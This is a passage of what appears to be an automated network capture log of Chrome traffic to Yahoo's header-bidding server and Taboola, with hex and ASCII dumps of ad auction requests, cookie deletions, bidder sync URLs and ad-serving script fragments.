Domain=pbs.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly
2024-04-27 22:41:59 UTC	260	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 6c 63 32 5f 66 70 69 5f 6d 65 74 61 3d 44 45 4c 45 54 45 3b 20 45 78 70 69 72 65 73 3d 53 61 74 2c 20 32 37 20 41 70 72 20 32 30 32 34 20 32 32 3a 33 31 3a 35 39 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 30 3b 20 44 6f 6d 61 69 6e 3d 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 3b 20 53 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 6c 63 32 5f 66 70 69 5f 6d 65 74 61 3d 44 45 4c 45 54 45 3b 20 45 78 70 69 72 65 73 3d 53 61 74 2c 20 32 37 20 41 70 72 20 32 30 32 34 20 32 32 3a 33 31 3a 35 39 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 30 3b 20 44 6f 6d 61 69 6e 3d 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 3b 20 53 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c Data Ascii: Set-Cookie: _lc2_fpi_meta=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=pbs.yahoo.com; Path=; Secure; HttpOnlySet-Cookie: _lc2_fpi_meta=DELETE; Expires=Sat, 27 Apr 2024 22:31:59 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnl
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 31 35 36 35 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6e 6f 5f 63 6f 6f 6b 69 65 22 2c 22 62 69 64 64 65 72 5f 73 74 61 74 75 73 22 3a 5b 7b 22 62 69 64 64 65 72 22 3a 22 72 74 62 68 6f 75 73 65 22 2c 22 6e 6f 5f 63 6f 6f 6b 69 65 22 3a 74 72 75 65 2c 22 75 73 65 72 73 79 6e 63 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 72 65 61 74 69 76 65 63 64 6e 2e 63 6f 6d 2f 63 6d 2d 6e 6f 74 69 66 79 3f 70 69 3d 72 6d 78 2d 70 62 73 26 5f 6f 72 69 67 69 6e 3d 30 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 2d 31 22 2c 22 74 79 70 65 22 3a 22 72 65 64 69 72 65 63 74 22 7d 7d 2c 7b 22 62 69 64 64 65 72 22 3a 22 73 68 61 72 65 74 68 72 6f 75 67 68 22 2c 22 6e 6f 5f 63 6f 6f 6b 69 65 22 Data Ascii: 1565{"status":"no_cookie","bidder_status":[{"bidder":"rtbhouse","no_cookie":true,"usersync":{"url":"https://creativecdn.com/cm-notify?pi=rmx-pbs&_origin=0&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1","type":"redirect"}},{"bidder":"sharethrough","no_cookie"
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 72 69 67 68 74 6d 65 64 69 61 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 2d 31 22 2c 22 74 79 70 65 22 3a 22 72 65 64 69 72 65 63 74 22 7d 7d 2c 7b 22 62 69 64 64 65 72 22 3a 22 61 70 70 6e 65 78 75 73 22 2c 22 6e 6f 5f 63 6f 6f 6b 69 65 22 3a 74 72 75 65 2c 22 75 73 65 72 73 79 6e 63 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 62 2e 61 64 6e 78 73 2e 63 6f 6d 2f 67 65 74 75 69 64 3f 68 74 74 70 73 25 33 41 25 32 46 25 32 46 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 73 65 74 75 69 64 25 33 46 62 69 64 64 65 72 25 33 44 61 70 70 6e 65 78 75 73 25 32 36 67 64 70 72 25 33 44 30 25 32 36 67 64 70 72 5f 63 6f 6e 73 65 6e 74 25 33 Data Ascii: eric?ttd_pid=rightmedia&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1","type":"redirect"}},{"bidder":"appnexus","no_cookie":true,"usersync":{"url":"https://ib.adnxs.com/getuid?https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dappnexus%26gdpr%3D0%26gdpr_consent%3
2024-04-27 22:41:59 UTC	1278	IN	Data Raw: 69 74 65 6f 2e 63 6f 6d 2f 75 73 65 72 2d 73 79 6e 63 2f 69 66 72 61 6d 65 3f 67 64 70 72 61 70 70 6c 69 65 73 3d 30 26 67 64 70 72 3d 26 63 63 70 61 3d 31 59 4e 4e 26 67 70 70 3d 44 42 41 41 26 67 70 70 5f 73 69 64 3d 2d 31 26 72 65 64 69 72 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 73 65 74 75 69 64 25 33 46 62 69 64 64 65 72 25 33 44 63 72 69 74 65 6f 25 32 36 67 64 70 72 25 33 44 30 25 32 36 67 64 70 72 5f 63 6f 6e 73 65 6e 74 25 33 44 25 32 36 67 70 70 25 33 44 44 42 41 41 25 32 36 67 70 70 5f 73 69 64 25 33 44 2d 31 25 32 36 66 25 33 44 69 25 32 36 75 69 64 25 33 44 25 32 34 25 37 42 43 52 49 54 45 4f 5f 55 53 45 52 5f 49 44 25 37 44 26 70 72 6f 66 69 6c 65 3d 32 33 30 22 2c 22 74 79 70 65 22 3a 22 Data Ascii: iteo.com/user-sync/iframe?gdprapplies=0&gdpr=&ccpa=1YNN&gpp=DBAA&gpp_sid=-1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dcriteo%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24%7BCRITEO_USER_ID%7D&profile=230","type":"
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 2c 7b 22 62 69 64 64 65 72 22 3a 22 75 6e 72 75 6c 79 22 2c 22 6e 6f 5f 63 6f 6f 6b 69 65 22 3a 74 72 75 65 2c 22 75 73 65 72 73 79 6e 63 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 31 72 78 2e 69 6f 2f 75 73 65 72 73 79 6e 63 32 2f 72 6d 70 68 62 3f 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 75 73 5f 70 72 69 76 61 63 79 3d 31 59 4e 4e 26 72 65 64 69 72 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 73 65 74 75 69 64 25 33 46 62 69 64 64 65 72 25 33 44 75 6e 72 75 6c 79 25 32 36 67 64 70 72 25 33 44 30 25 32 36 67 64 70 72 5f 63 6f 6e 73 65 6e 74 25 33 44 25 32 36 67 70 70 25 33 44 44 42 41 41 25 32 36 67 70 70 5f 73 69 64 25 33 44 2d 31 25 32 36 66 25 33 44 69 25 Data Ascii: ,{"bidder":"unruly","no_cookie":true,"usersync":{"url":"https://sync.1rx.io/usersync2/rmphb?gdpr=0&gdpr_consent=&us_privacy=1YNN&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%
2024-04-27 22:41:59 UTC	312	IN	Data Raw: 73 73 70 25 32 36 67 64 70 72 25 33 44 30 25 32 36 67 64 70 72 5f 63 6f 6e 73 65 6e 74 25 33 44 25 32 36 67 70 70 25 33 44 44 42 41 41 25 32 36 67 70 70 5f 73 69 64 25 33 44 2d 31 25 32 36 66 25 33 44 69 25 32 36 75 69 64 25 33 44 42 55 59 45 52 55 49 44 22 2c 22 74 79 70 65 22 3a 22 72 65 64 69 72 65 63 74 22 7d 7d 2c 7b 22 62 69 64 64 65 72 22 3a 22 63 6f 6e 76 65 72 73 61 6e 74 22 2c 22 6e 6f 5f 63 6f 6f 6b 69 65 22 3a 74 72 75 65 2c 22 75 73 65 72 73 79 6e 63 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 79 61 68 6f 6f 2d 6d 61 74 63 68 2e 64 6f 74 6f 6d 69 2e 63 6f 6d 2f 6d 61 74 63 68 2f 62 6f 75 6e 63 65 2f 63 75 72 72 65 6e 74 3f 6e 65 74 77 6f 72 6b 49 64 3d 36 30 26 76 65 72 73 69 6f 6e 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f Data Ascii: ssp%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3DBUYERUID","type":"redirect"}},{"bidder":"conversant","no_cookie":true,"usersync":{"url":"https://yahoo-match.dotomi.com/match/bounce/current?networkId=60&version=1&gdpr=0&gdpr_co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.4	49960	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	1322	OUT	POST /openrtb2/auction HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive Content-Length: 4661 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
2024-04-27 22:41:59 UTC	4661	OUT	Data Raw: 7b 22 69 6d 70 22 3a 5b 7b 22 65 78 74 22 3a 7b 22 70 72 65 62 69 64 22 3a 7b 22 70 61 73 73 74 68 72 6f 75 67 68 22 3a 7b 22 63 6c 69 65 6e 74 22 3a 22 70 62 6a 73 22 2c 22 67 61 6d 41 64 43 6f 64 65 22 3a 22 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 72 69 67 68 74 22 2c 22 67 61 6d 4c 6f 63 22 3a 22 74 6f 70 5f 72 69 67 68 74 22 2c 22 63 6f 6c 6f 22 3a 22 62 66 31 22 2c 22 64 65 76 69 63 65 22 3a 22 64 65 73 6b 74 6f 70 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 6c 75 22 3a 22 30 22 2c 22 70 74 22 3a 22 68 6f 6d 65 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 73 69 74 65 22 3a 22 66 70 22 2c 22 76 65 72 22 3a 22 6d 65 67 61 73 74 72 6d 22 7d 2c 22 73 74 6f 72 65 64 72 65 71 75 65 73 74 22 3a 7b 22 69 64 22 3a 22 75 73 5f Data Ascii: {"imp":[{"ext":{"prebid":{"passthrough":{"client":"pbjs","gamAdCode":"us_yhp_main_dt_top_right","gamLoc":"top_right","colo":"bf1","device":"desktop","lang":"en-US","lu":"0","pt":"home","region":"US","site":"fp","ver":"megastrm"},"storedrequest":{"id":"us_
2024-04-27 22:42:00 UTC	1201	IN	HTTP/1.1 200 OK access-control-allow-credentials: true access-control-allow-origin: https://www.yahoo.com content-type: application/json vary: Origin x-prebid: pbs-go/unknown date: Sat, 27 Apr 2024 22:42:00 GMT x-envoy-upstream-service-time: 340 server: ATS x-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 1 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: _li_dcdm_c=DELETE; Expires=Sat, 27 Apr 2024 22:32:00 GMT; Max-Age=0; Domain=pbs.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _li_dcdm_c=DELETE; Expires=Sat, 27 Apr 2024 22:32:00 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi=DELETE; Expires=Sat, 27 Apr 2024 22:32:00 GMT; Max-Age=0; Domain=pbs.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: _lc2_fpi=DELETE; Expires=Sat, 27 Apr 2024 22:32:00 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly
2024-04-27 22:42:00 UTC	260	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 6c 63 32 5f 66 70 69 5f 6d 65 74 61 3d 44 45 4c 45 54 45 3b 20 45 78 70 69 72 65 73 3d 53 61 74 2c 20 32 37 20 41 70 72 20 32 30 32 34 20 32 32 3a 33 32 3a 30 30 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 30 3b 20 44 6f 6d 61 69 6e 3d 70 62 73 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 3b 20 53 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 6c 63 32 5f 66 70 69 5f 6d 65 74 61 3d 44 45 4c 45 54 45 3b 20 45 78 70 69 72 65 73 3d 53 61 74 2c 20 32 37 20 41 70 72 20 32 30 32 34 20 32 32 3a 33 32 3a 30 30 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 30 3b 20 44 6f 6d 61 69 6e 3d 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 3b 20 53 65 63 75 72 65 3b 20 48 74 74 70 4f 6e 6c Data Ascii: Set-Cookie: _lc2_fpi_meta=DELETE; Expires=Sat, 27 Apr 2024 22:32:00 GMT; Max-Age=0; Domain=pbs.yahoo.com; Path=; Secure; HttpOnlySet-Cookie: _lc2_fpi_meta=DELETE; Expires=Sat, 27 Apr 2024 22:32:00 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnl
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 32 63 61 38 0d 0a 7b 22 69 64 22 3a 22 65 65 35 30 37 64 35 33 2d 66 36 38 31 2d 34 30 39 38 2d 62 38 61 35 2d 30 36 33 62 37 35 36 64 64 64 63 37 22 2c 22 73 65 61 74 62 69 64 22 3a 5b 7b 22 62 69 64 22 3a 5b 7b 22 69 64 22 3a 22 33 35 32 36 35 36 38 34 35 31 39 35 39 35 35 36 39 35 36 5f 31 31 32 31 39 33 30 38 33 30 34 31 33 38 37 33 35 33 33 22 2c 22 69 6d 70 69 64 22 3a 22 73 64 61 2d 4c 52 45 43 33 2d 69 66 72 61 6d 65 22 2c 22 70 72 69 63 65 22 3a 30 2e 32 36 35 36 33 34 2c 22 62 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 61 64 73 2e 79 69 65 6c 64 6d 6f 2e 63 6f 6d 2f 76 30 30 30 2f 74 5f 74 6b 72 2f 65 76 3f 74 79 70 65 3d 62 75 72 6c 26 70 76 69 64 3d 33 35 32 36 35 36 38 34 35 31 39 35 39 35 35 36 39 35 36 26 70 76 74 3d 31 37 31 34 32 35 37 37 Data Ascii: 2ca8{"id":"ee507d53-f681-4098-b8a5-063b756dddc7","seatbid":[{"bid":[{"id":"3526568451959556956_1121930830413873533","impid":"sda-LREC3-iframe","price":0.265634,"burl":"https://ads.yieldmo.com/v000/t_tkr/ev?type=burl&pvid=3526568451959556956&pvt=17142577
2024-04-27 22:42:00 UTC	742	IN	Data Raw: 21 73 66 20 26 26 20 21 72 65 67 75 6c 61 72 41 6d 70 49 6e 66 6f 29 20 7b 20 20 20 63 6f 6e 73 74 20 73 63 72 69 70 74 45 6c 65 6d 65 6e 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 20 20 20 73 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 73 72 63 20 3d 20 27 68 74 74 70 73 3a 2f 2f 74 70 63 2e 67 6f 6f 67 6c 65 73 79 6e 64 69 63 61 74 69 6f 6e 2e 63 6f 6d 2f 73 61 66 65 66 72 61 6d 65 2f 31 2d 30 2d 33 37 2f 6a 73 2f 65 78 74 2e 6a 73 27 3b 20 20 20 73 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 74 79 70 65 20 3d 20 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3b 20 20 20 73 63 72 69 70 74 45 6c 65 6d 65 6e 74 2e 61 73 79 6e 63 20 3d 20 27 61 73 79 6e 63 27 3b 20 20 20 69 66 20 28 21 70 61 72 Data Ascii: !sf && !regularAmpInfo) { const scriptElement = document.createElement('script'); scriptElement.src = 'https://tpc.googlesyndication.com/safeframe/1-0-37/js/ext.js'; scriptElement.type = 'text/javascript'; scriptElement.async = 'async'; if (!par
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 22 3a 30 2c 5c 22 69 73 5f 64 65 73 6b 74 6f 70 5c 22 3a 31 2c 5c 22 64 61 74 61 5c 22 3a 5b 7b 5c 22 70 6c 61 63 65 6d 65 6e 74 5f 69 64 5c 22 3a 5c 22 33 34 39 34 36 30 30 31 33 34 34 34 37 30 31 34 35 36 33 5c 22 2c 5c 22 70 6c 61 63 65 6d 65 6e 74 5f 69 6d 70 72 65 73 73 69 6f 6e 5f 69 64 5c 22 3a 5c 22 31 31 32 31 39 33 30 38 33 30 34 31 33 38 37 33 35 33 33 5c 22 2c 5c 22 61 70 70 6c 79 5f 62 6f 72 64 65 72 5c 22 3a 30 2c 5c 22 63 72 65 61 74 69 76 65 5f 66 6f 72 6d 61 74 5f 69 64 5c 22 3a 39 30 2c 5c 22 63 6f 6c 75 6d 6e 5f 63 6f 75 6e 74 5c 22 3a 31 2c 5c 22 63 6f 6e 66 69 67 73 5c 22 3a 7b 5c 22 61 6c 6c 6f 77 61 62 6c 65 5f 77 69 64 74 68 5c 22 3a 5c 22 33 30 30 5c 22 2c 5c 22 61 6c 6c 6f 77 61 62 6c 65 5f 68 65 69 67 68 74 5c 22 3a 5c 22 32 35 Data Ascii: ":0,\"is_desktop\":1,\"data\":[{\"placement_id\":\"3494600134447014563\",\"placement_impression_id\":\"1121930830413873533\",\"apply_border\":0,\"creative_format_id\":90,\"column_count\":1,\"configs\":{\"allowable_width\":\"300\",\"allowable_height\":\"25
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 45 65 39 35 31 51 74 6a 35 61 62 30 51 41 2d 64 35 46 72 78 4b 58 42 52 48 39 42 71 36 36 48 37 78 52 39 64 6f 77 4f 4c 32 54 4c 33 6d 54 4e 46 68 43 66 35 59 42 4f 4f 6e 50 78 39 57 36 62 59 51 6d 65 78 41 55 38 47 51 55 30 79 58 62 58 36 5a 65 30 48 51 4e 72 64 32 47 4e 63 75 45 61 78 4d 67 6c 51 62 74 79 50 58 63 42 34 56 37 49 37 47 43 4a 75 54 4a 65 48 44 61 6a 59 6b 35 75 78 4f 34 6a 77 4f 34 74 37 66 38 41 6c 5a 70 43 64 62 6a 45 47 52 50 4f 49 71 78 73 58 77 52 39 51 61 6b 67 58 41 73 38 4a 52 41 68 48 63 39 76 61 58 39 52 66 30 4f 7a 52 4b 58 50 50 77 61 63 50 5f 5a 38 4e 34 58 4f 50 37 6c 50 52 6e 4b 51 32 4d 51 32 47 41 5f 6c 37 51 79 70 63 47 71 54 4e 50 78 31 4e 32 38 68 4a 32 56 6d 66 61 61 45 32 66 76 45 42 67 72 71 4c 55 62 58 63 35 66 70 Data Ascii: Ee951Qtj5ab0QA-d5FrxKXBRH9Bq66H7xR9dowOL2TL3mTNFhCf5YBOOnPx9W6bYQmexAU8GQU0yXbX6Ze0HQNrd2GNcuEaxMglQbtyPXcB4V7I7GCJuTJeHDajYk5uxO4jwO4t7f8AlZpCdbjEGRPOIqxsXwR9QakgXAs8JRAhHc9vaX9Rf0OzRKXPPwacP_Z8N4XOP7lPRnKQ2MQ2GA_l7QypcGqTNPx1N28hJ2VmfaaE2fvEBgrqLUbXc5fp
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 65 28 5c 22 68 65 61 64 5c 22 29 5b 30 5d 7c 7c 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 62 6f 64 79 5c 22 29 5b 30 5d 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6d 29 7d 65 6c 73 65 20 74 2e 5f 79 6d 20 69 6e 73 74 61 6e 63 65 6f 66 20 53 74 72 69 6e 67 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 2e 5f 79 6d 2e 63 68 6b 50 6c 73 7c 7c 74 2e 5f 79 6d 2e 63 68 6b 50 6c 73 28 29 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 77 69 6e 64 6f 77 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 69 6d 67 20 73 72 63 3d 5c 22 68 74 74 70 73 3a 2f 2f 61 64 73 2e 79 69 65 6c 64 6d 6f 2e 63 6f 6d 2f 76 30 30 30 2f 74 5f 74 6b 72 2f 65 76 3f 74 79 70 65 3d 68 69 26 70 76 69 64 3d 33 35 32 36 35 36 38 34 35 31 39 35 39 35 35 36 39 35 36 26 70 76 74 3d 31 37 31 34 32 Data Ascii: e(\"head\")[0]\|\|e.getElementsByTagName(\"body\")[0]).appendChild(m)}else t._ym instanceof String\|\|void 0===t._ym.chkPls\|\|t._ym.chkPls()})(document,window);</script><img src=\"https://ads.yieldmo.com/v000/t_tkr/ev?type=hi&pvid=3526568451959556956&pvt=17142
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 68 55 4b 6f 49 58 64 73 44 44 2d 58 69 64 53 75 51 6d 6c 39 62 51 79 6e 74 58 35 38 5a 46 76 41 6e 35 2d 4a 44 50 77 64 49 6c 46 72 70 57 56 33 45 41 7a 51 52 56 6c 77 76 6f 42 35 4d 4d 44 4e 7a 32 34 36 53 6b 79 6a 5a 51 6a 68 36 52 46 70 6c 2d 61 58 76 61 73 53 5a 45 65 61 38 56 62 32 57 42 5f 6a 67 38 65 47 4a 5f 47 45 43 46 6c 5f 7a 49 55 32 6c 6a 63 33 4e 71 47 49 42 34 7a 30 37 4b 6d 63 37 48 6e 39 6f 31 45 6c 52 33 57 77 71 58 44 66 74 67 34 6a 43 69 44 5f 38 34 6d 4d 69 43 45 6e 62 62 33 6f 56 4e 36 70 32 66 72 5f 6a 6e 39 53 74 74 42 36 42 46 6f 55 75 50 44 7a 53 67 62 48 57 52 41 54 6a 54 67 4f 64 31 6f 69 75 31 6a 55 76 67 52 58 79 42 47 36 49 50 69 58 53 4d 59 42 72 55 54 73 46 46 57 4f 65 43 6f 5c 22 20 73 74 79 6c 65 3d 5c 22 64 69 73 70 6c Data Ascii: hUKoIXdsDD-XidSuQml9bQyntX58ZFvAn5-JDPwdIlFrpWV3EAzQRVlwvoB5MMDNz246SkyjZQjh6RFpl-aXvasSZEea8Vb2WB_jg8eGJ_GECFl_zIU2ljc3NqGIB4z07Kmc7Hn9o1ElR3WwqXDftg4jCiD_84mMiCEnbb3oVN6p2fr_jn9SttB6BFoUuPDzSgbHWRATjTgOd1oiu1jUvgRXyBG6IPiXSMYBrUTsFFWOeCo\" style=\"displ
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 5f 41 51 45 41 65 52 55 6f 44 45 46 42 55 55 34 79 4b 41 41 41 57 68 55 6f 53 46 42 42 58 7a 52 42 56 33 55 31 64 30 78 78 51 6c 4e 5a 53 55 46 34 53 57 6b 42 57 66 42 6c 4e 6e 52 61 55 6e 4e 77 63 54 5a 43 51 58 59 32 59 31 68 77 54 7a 46 48 63 47 4e 74 53 48 4e 47 5a 6b 78 7a 4d 32 74 77 65 57 67 77 61 33 42 44 51 32 39 6e 4d 56 4e 6d 51 55 5a 79 4f 47 56 53 52 46 42 6e 52 6e 52 4b 61 6c 5a 43 53 55 6c 48 51 54 46 57 56 46 4a 4a 5a 30 64 42 53 6b 46 48 51 56 70 6e 52 30 46 4c 52 55 64 36 59 33 70 4e 65 6b 31 36 54 56 39 45 4c 57 39 43 5a 31 4e 35 51 6d 6c 52 53 6b 46 42 41 61 59 46 41 51 42 53 42 51 59 4a 41 51 42 61 43 51 63 46 41 51 42 6f 42 51 59 46 41 5a 42 44 4e 45 4a 6e 63 55 4a 44 51 55 4a 68 4f 47 46 57 59 32 4e 4e 4d 46 39 70 51 57 64 42 61 30 Data Ascii: _AQEAeRUoDEFBUU4yKAAAWhUoSFBBXzRBV3U1d0xxQlNZSUF4SWkBWfBlNnRaUnNwcTZCQXY2Y1hwTzFHcGNtSHNGZkxzM2tweWgwa3BDQ29nMVNmQUZyOGVSRFBnRnRKalZCSUlHQTFWVFJJZ0dBSkFHQVpnR0FLRUd6Y3pNek16TV9ELW9CZ1N5QmlRSkFBAaYFAQBSBQYJAQBaCQcFAQBoBQYFAZBDNEJncUJDQUJhOGFWY2NNMF9pQWdBa0
2024-04-27 22:42:00 UTC	1300	IN	Data Raw: 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 5c 22 6e 6f 5c 22 20 77 69 64 74 68 3d 5c 22 31 36 5c 22 20 68 65 69 67 68 74 3d 5c 22 31 36 5c 22 20 73 74 79 6c 65 3d 5c 22 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 68 65 69 67 68 74 3a 20 31 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 77 69 64 74 68 20 31 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 30 3b 20 72 69 67 68 74 3a 20 30 3b 5c 22 73 72 63 64 6f 63 3d 5c 22 26 6c 74 3b 73 74 79 6c 65 26 67 74 3b 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 20 70 61 64 64 69 6e 67 3a 30 3b 20 62 61 63 6b Data Ascii: " scrolling=\"no\" width=\"16\" height=\"16\" style=\"display: block !important; background: transparent !important; height: 16px !important;width 16px !important; position: absolute; top: 0; right: 0;\"srcdoc=\"<style>body{margin:0; padding:0; back

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.4	49961	151.101.65.44	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	642	OUT	POST /OpenRTB/TaboolaHB/auction?publisher=1635758 HTTP/1.1 Host: display.bidder.taboola.com Connection: keep-alive Content-Length: 3922 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
